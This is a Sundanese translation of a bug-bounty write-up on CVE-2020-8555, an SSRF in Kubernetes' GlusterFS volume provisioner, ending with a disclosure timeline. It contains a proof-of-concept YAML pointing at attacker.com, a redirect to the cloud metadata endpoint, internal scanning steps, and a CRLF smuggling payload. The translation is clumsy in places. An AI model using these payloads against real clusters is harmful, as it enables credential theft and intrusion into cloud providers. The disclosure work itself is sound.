🥇Nalika éta sanés ngan ukur kerentanan dina Kubernetes...

Catetan. narjamahkeun.: panulis artikel ieu ngobrol di jéntré ngeunaan kumaha maranéhna junun manggihan kerentanan CVE-2020–8555 di Kubernetes. Sanaos mimitina sigana henteu bahaya pisan, dina kombinasi sareng faktor-faktor sanés, kritisitasna tétéla maksimal pikeun sababaraha panyadia awan. Sababaraha organisasi generously diganjar spesialis pikeun karya maranéhanana.

Saha urang

Kami dua peneliti kaamanan Perancis anu babarengan manggihan kerentanan di Kubernetes. Ngaran kami nyaéta Brice Augras sareng Christophe Hauquiert, tapi dina seueur platform Bug Bounty kami katelah Reeverzax sareng Hach masing-masing:

Brice Augras - Groupe Asten Company;
Christophe Hauquiert - Kubernetes arsiték di Nokia.

Aya naon?

Tulisan ieu mangrupikeun cara urang pikeun ngabagi kumaha proyék panalungtikan biasa anu teu disangka-sangka janten petualangan anu paling seru dina kahirupan pemburu bug (sahenteuna pikeun ayeuna).

Sakumaha anjeun terang, pamburu bug gaduh sababaraha fitur anu kasohor:

aranjeunna hirup dina pizza jeung bir;
aranjeunna dianggo nalika dulur sejenna geus saré.

Kami teu iwal ti aturan ieu: urang biasana papanggih dina weekends sarta méakkeun peuting sleepless Hacking. Tapi salah sahiji wengi ieu réngsé dina cara anu teu biasa.

Mimitina urang bade pendak sareng ngabahas partisipasi dina CTF énjing. Dina paguneman ngeunaan kaamanan Kubernetes dina lingkungan jasa anu diurus, urang émut ideu SSRF anu lami (Server-Sisi Request Pemalsuan) sareng mutuskeun pikeun nyobian nganggo éta salaku skrip serangan.

Jam 11 wengi urang calik pikeun ngalakukeun panalungtikan sareng bobo énjing-énjing, wareg pisan sareng hasilna. Kusabab ieu panalungtikan urang datang di sakuliah program MSRC Bug Bounty sarta datang nepi ka escalation eksploitasi hak husus.

Sababaraha minggu / bulan kaliwat, sarta hasil teu kaduga kami ngahasilkeun salah sahiji ganjaran pangluhurna dina sajarah Azure Cloud Bug Bounty - salian ti hiji urang nampi ti Kubernetes!

Dumasar proyék panalungtikan urang, Komite Kaamanan Produk Kubernetes diterbitkeun CVE-2020–8555.

Ayeuna abdi hoyong nyebarkeun informasi ngeunaan kerentanan kapanggih saloba mungkin. Kami ngarepkeun anjeun ngahargaan milarian sareng ngabagi rinci téknis sareng anggota komunitas infosec anu sanés!

Jadi kieu carita urang ...

Kontéks

Pikeun ngartos naon anu kajantenan, hayu urang tingali heula kumaha Kubernetes jalan dina lingkungan anu diurus awan.

Nalika anjeun ngadamel klaster Kubernetes dina lingkungan sapertos kitu, lapisan manajemén biasana tanggung jawab panyadia awan:

Lapisan kontrol ayana di perimeter panyadia awan, sedengkeun titik Kubernetes lokasina di perimeter customer.

Pikeun dinamis allocate jilid, mékanisme dipaké pikeun dinamis nyadiakeun aranjeunna tina backend gudang éksternal tur dibandingkeun jeung PVC (klaim volume pengkuh, i.e. pamundut pikeun volume).

Ku kituna, sanggeus PVC dijieun tur kabeungkeut StorageClass dina K8s klaster, lampah salajengna nyadiakeun volume dicokot ku manajer kube / awan controller (ngaran pasti na gumantung kana release). (Catetan. narjamahkeun.: Kami parantos nyerat langkung seueur ngeunaan CCM nganggo conto palaksanaanna pikeun salah sahiji panyadia awan di dieu.)

Aya sababaraha jinis provisioner anu dirojong ku Kubernetes: kalolobaanana kalebet kana inti orkestra, sedengkeun nu sejenna diurus ku provisioners tambahan nu disimpen dina pods dina kluster.

Dina panalungtikan urang, urang museurkeun kana mékanisme provisioning volume internal, nu digambarkeun di handap:

Penyediaan dinamis volume nganggo panyadia Kubernetes anu diwangun

Pondokna, nalika Kubernetes disebarkeun dina lingkungan anu diurus, manajer pangendali mangrupikeun tanggung jawab panyadia awan, tapi pamundut nyiptakeun volume (nomer 3 dina diagram di luhur) ninggalkeun jaringan internal panyadia awan. Sareng ieu dimana hal-hal janten pikaresepeun!

Skenario Hacking

Dina bagian ieu, kami bakal ngajelaskeun kumaha urang ngamangpaatkeun alur kerja anu disebatkeun di luhur sareng ngaksés sumber internal panyadia jasa awan. Éta ogé bakal nunjukkeun anjeun kumaha anjeun tiasa ngalakukeun tindakan anu tangtu, sapertos kéngingkeun kredensial internal atanapi ningkatkeun hak husus.

Hiji manipulasi basajan (dina hal ieu, Service Sisi Request Forgery) mantuan pikeun balik saluareun lingkungan klien kana klaster rupa panyadia ladenan handapeun K8s junun.

Dina panilitian urang fokus kana panyadia GlusterFS. Sanaos kanyataan yén sekuen tindakan salajengna dijelaskeun dina kontéks ieu, Quobyte, StorageOS sareng ScaleIO rentan kana kerentanan anu sami.

Nyiksa mékanisme provisioning volume dinamis

Salila analisis kelas gudang GlusterFS dina kode sumber klien Golang urang perhatoskeunyén dina pamundut HTTP munggaran (3) dikirim salila kreasi volume, nepi ka ahir URL custom di parameter resturl ditambihan /volumes.

Kami mutuskeun pikeun ngaleungitkeun jalur tambahan ieu ku nambihan # dina parameter resturl. Ieu konfigurasi YAML munggaran anu kami dianggo pikeun nguji kerentanan SSRF semi-buta (Anjeun tiasa maca langkung seueur ngeunaan SSRF semi-buta atanapi satengah buta, contona, di dieu - kira-kira. tarjamah.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Teras kami nganggo binér pikeun ngatur jarak jauh klaster Kubernetes kubectl. Ilaharna, panyadia awan (Azure, Google, AWS, jsb) ngidinan Anjeun pikeun ménta Kapercayaan pikeun pamakéan dina utiliti ieu.

Hatur nuhun kana ieu, kuring tiasa nganggo file "khusus" kuring. Kube-controller-manager ngalaksanakeun pamundut HTTP anu dihasilkeun:

kubectl create -f sc-poc.yaml

Jawaban tina sudut pandang panyerang

Teu lami saatos ieu, kami ogé tiasa nampi réspon HTTP tina server target - ngalangkungan paréntah describe pvc atawa get events di kubectl. Sareng leres: supir Kubernetes standar ieu teuing verbose dina peringatan / pesen kasalahan na ...

Di handap ieu conto kalawan tumbu ka https://www.google.frdisetel salaku parameter resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Dina pendekatan ieu, kami dugi ka patarosan sapertos HTTP POST sarta teu bisa meunang eusi awak respon lamun kode balik éta 201. Ku alatan éta, urang mutuskeun pikeun ngalaksanakeun panalungtikan tambahan sarta dimekarkeun skenario Hacking ieu kalawan pendekatan anyar.

Évolusi panalungtikan urang

Skenario Canggih #1: Nganggo alihan 302 tina server éksternal pikeun ngarobih metode HTTP pikeun nyayogikeun cara anu langkung fleksibel pikeun ngumpulkeun data internal.
Skenario Canggih #2: Otomatis scanning LAN jeung kapanggihna sumberdaya internal.
Skenario canggih #3: ngagunakeun HTTP CRLF + penyelundupan ("meminta penyelundupan") pikeun nyieun pamundut HTTP tailored tur meunangkeun data sasari tina kube-controller log.

Spésifikasi teknis

Panaliti ngagunakeun Azure Kubernetes Service (AKS) sareng Kubernetes vérsi 1.12 di daérah Éropa Kalér.
Skenario anu dijelaskeun di luhur dilaksanakeun dina sékrési panganyarna tina Kubernetes, iwal ti skenario katilu, sabab anjeunna peryogi Kubernetes diwangun kalayan versi Golang ≤ 1.12.
Server éksternal panyerang - https://attacker.com.

Skenario Canggih #1: Mindahkeun pamundut HTTP POST pikeun GET sareng nampi data sénsitip

Metodeu aslina ieu ditingkatkeun ku konfigurasi tina server panyerang urang balik 302 HTTP Retcodepikeun ngarobah pamundut POST kana pamundut GET (lengkah 4 dina diagram):

pamundut munggaran (3) datang ti klien GlusterFS (Controller Manager), ngabogaan tipe POST. Ku nuturkeun léngkah-léngkah ieu kami tiasa ngarobih kana GET:

Salaku parameter resturl dina StorageClass dituduhkeun http://attacker.com/redirect.php.
titik https://attacker.com/redirect.php ngabales nganggo kode status 302 HTTP sareng Header Lokasi di handap ieu: http://169.254.169.254. Ieu tiasa wae sumberdaya internal sejenna - dina hal ieu, link alihan dipaké solely salaku conto.
sacara standar net / perpustakaan http Golang alihan pamundut sareng ngarobih POST kana GET kalayan kode status 302, nyababkeun pamundut HTTP GET kana sumber target.

Pikeun maca badan réspon HTTP anjeun kedah ngalakukeun describe objék PVC:

kubectl describe pvc xxx

Ieu conto réspon HTTP dina format JSON anu kami tiasa nampi:

Kamampuhan tina kerentanan anu kapanggih dina waktos éta diwatesan kusabab titik-titik ieu:

Henteu mampuh nyelapkeun lulugu HTTP kana pamundut kaluar.
Henteu mampuh nedunan pamundut POST kalawan parameter dina awak (ieu merenah pikeun menta nilai konci ti hiji conto etcd ngajalankeun on. 2379 port lamun HTTP unencrypted dipaké).
Henteu mampuh pikeun meunangkeun eusi awak réspon nalika kode status 200 sareng résponna henteu ngagaduhan JSON Content-Type.

Skenario canggih #2: Nyeken jaringan lokal

Metoda SSRF satengah buta ieu lajeng dipaké pikeun nyeken jaringan internal panyadia awan sarta polling rupa layanan déngékeun (Conto Metadata, Kubelet, jsb) dumasar kana réspon. kube controller.

Kahiji, port déngékeun standar komponén Kubernetes ditangtukeun (8443, 10250, 10251, jsb), lajeng urang kudu ngajadikeun otomatis prosés scanning.

Ningali yén métode scanning sumberdaya ieu pisan husus sarta teu cocog sareng scanner Palasik jeung parabot SSRF, urang mutuskeun pikeun nyieun pagawe sorangan dina Aksara bash nu ngajadikeun otomatis sakabéh prosés.

Contona, pikeun gancang nyeken rentang 172.16.0.0/12 tina jaringan internal, 15 pagawe diluncurkeun paralel. Rentang IP di luhur geus dipilih sabagé conto wungkul tur bisa dirobah jadi rentang IP propaider ladén husus Anjeun.

Pikeun nyeken hiji alamat IP sareng hiji port, anjeun kedah ngalakukeun ieu:

ngahapus StorageClass dipariksa panungtungan;
miceun Klaim Jilid Persistent anu diverifikasi saméméhna;
ngarobah nilai IP na Port di sc.yaml;
nyieun StorageClass kalawan IP anyar jeung port;
nyieun PVC anyar;
ékstrak hasil scan ngagunakeun ngajelaskeun pikeun PVC.

Skenario canggih #3: suntikan CRLF + nylundupkeun HTTP dina versi "heubeul" tina klaster Kubernetes

Lamun salian ieu panyadia ditawarkeun klien versi heubeul tina klaster K8s и masihan aranjeunna aksés ka log kube-controller-manager, pangaruhna janten langkung signifikan.

Memang leuwih merenah pikeun panyerang pikeun ngarobah pamundut HTTP dirancang pikeun ménta respon HTTP pinuh ku kawijaksanaan na.

Pikeun ngalaksanakeun skenario anu terakhir, kaayaan di handap ieu kedah dicumponan:

Pamaké kedah gaduh aksés kana log kube-controller-manager (sapertos, contona, dina Azure LogInsights).
Kluster Kubernetes kedah nganggo versi Golang langkung handap tina 1.12.

Kami nyebarkeun lingkungan lokal anu simulasi komunikasi antara klien GlusterFS Go sareng server target palsu (urang bakal nolak nyebarkeun PoC ayeuna).

Kapanggih karentanan, mangaruhan versi Golang leuwih handap 1.12 sarta ngidinan hacker pikeun ngalakonan HTTP smuggling/CRLF serangan.

Ku ngagabungkeun SSRF satengah buta ditétélakeun di luhur babarengan kalawan ieu, kami bisa ngirim requests mun liking urang, kaasup ngaganti headers, métode HTTP, parameter jeung data, nu kube-controller-manajer lajeng diolah.

Ieu conto "bait" anu tiasa dianggo dina parameter resturl StorageClass, anu ngalaksanakeun skenario serangan anu sami:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

hasilna mangrupa kasalahan respon unsolicited, pesen ngeunaan nu kacatet dina log controller. Hatur nuhun kana verbosity diaktipkeun sacara standar, eusi pesen réspon HTTP ogé disimpen di dinya.

Ieu mangrupikeun "umpan" anu paling efektif dina kerangka bukti konsép.

Ngagunakeun pendekatan ieu, kami bisa ngalakukeun sababaraha serangan handap dina klaster rupa panyadia k8s junun: escalation hak husus kalawan Kapercayaan on instansi metadata, Master DoS via (unencrypted) requests HTTP on instansi master etcd, jsb.

épék

Dina pernyataan resmi Kubernetes ngeunaan kerentanan SSRF anu kami mendakan, éta dipeunteun CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Upami urang nganggap ngan ukur kerentanan anu aya hubunganana sareng perimeter Kubernetes, vektor integritas (vektor integritas) eta qualifies salaku teu sahiji bae.

Sanajan kitu, assessing konsékuansi mungkin dina konteks lingkungan jasa junun (jeung ieu bagian paling narik dina panalungtikan urang!) Ngajurung kami pikeun reclassify kerentanan kana rating hiji. Kritis CVSS10/10 keur loba distributor.

Di handap ieu inpormasi tambahan pikeun ngabantosan anjeun ngartos pertimbangan kami nalika ngira-ngira dampak poténsial dina lingkungan awan:

Integritas

Ngaéksekusi paréntah jarak jauh ngagunakeun Kapercayaan internal kaala.
Reproducing skenario di luhur ngagunakeun IDOR (Insecure Direct Objék Rujukan) metoda kalawan sumberdaya séjén kapanggih dina jaringan lokal.

Karusiahan

Jenis serangan Gerak Gurat hatur nuhun kana maling kredensial awan (contona, metadata API).
Ngumpulkeun inpormasi ku nyeken jaringan lokal (nangtukeun versi SSH, versi server HTTP, ...).
Kumpulkeun inpormasi instance sareng infrastruktur ku polling API internal sapertos metadata API (http://169.254.169.254,…).
Maok data palanggan nganggo kredensial awan.

kasadiaan

Kabéh skenario mangpaatkeun patali vektor serangan on integritas, bisa dipaké pikeun lampah destructive tur ngakibatkeun master instansi ti perimeter klien (atawa nu sejenna) keur sadia.

Kusabab kami di lingkungan K8s junun sarta assessing dampak dina integritas, urang tiasa ngabayangkeun loba skenario anu bisa dampak kasadiaan. Conto tambahan kalebet ngaruksak database jsb atanapi nelepon kritis kana API Kubernetes.

Gariswanci

6 Désémber 2019: Kerentanan dilaporkeun ka MSRC Bug Bounty.
3 Januari 2020: Pihak katilu ngawartosan pamekar Kubernetes yén kami nuju ngusahakeun masalah kaamanan. Sareng naroskeun aranjeunna mertimbangkeun SSRF salaku kerentanan internal (in-inti). Kami teras nyayogikeun laporan umum kalayan detil téknis ngeunaan sumber masalah.
15 Januari 2020: Kami nyayogikeun laporan téknis sareng umum ka pamekar Kubernetes dumasar kana pamundutana (ngaliwatan platform HackerOne).
15 Januari 2020: Pangembang Kubernetes ngabéjaan yén suntikan SSRF + CRLF satengah buta pikeun sékrési katukang dianggap kerentanan inti. Kami langsung lirén nganalisa perimeter panyadia ladenan anu sanés: tim K8s ayeuna nuju nganyahokeun akar panyababna.
15 Januari 2020: Ganjaran MSRC ditampi ngalangkungan HackerOne.
16 Januari 2020: Kubernetes PSC (Komite Kaamanan Produk) ngakuan kerentanan sareng naroskeun pikeun tetep rahasia dugi ka pertengahan Maret kusabab jumlah poténsial korban anu ageung.
11 Pebruari 2020: Ganjaran Google VRP nampi.
4 Maret 2020: Ganjaran Kubernetes ditampi ngalangkungan HackerOne.
15 Maret 2020: Panyingkepan umum anu dijadwalkeun awalna ditunda kusabab kaayaan COVID-19.
1 Juni 2020: Pernyataan gabungan Kubernetes + Microsoft ngeunaan kerentanan.

TL; DR

Urang nginum bir sareng tuang pizza :)
Kami mendakan kerentanan inti-inti dina Kubernetes, sanaos kami henteu gaduh niat pikeun ngalakukeunana.
Kami ngalaksanakeun analisa tambahan ngeunaan klaster panyadia awan anu béda-béda sareng tiasa ningkatkeun karusakan anu disababkeun ku kerentanan pikeun nampi bonus anu saé.
Anjeun bakal mendakan seueur detil téknis dina tulisan ieu. Kami bakal resep ngabahas aranjeunna sareng anjeun (Twitter: @ReeverZax & @__hach_).
Tétéla yén sagala jinis formalitas sareng ngalaporkeun nyandak langkung lami tibatan anu disangka.

rujukan

PS ti penerjemah

Baca ogé dina blog urang:

sumber: www.habr.com

Nalika éta sanés ngan ukur ngeunaan kerentanan Kubernetes ...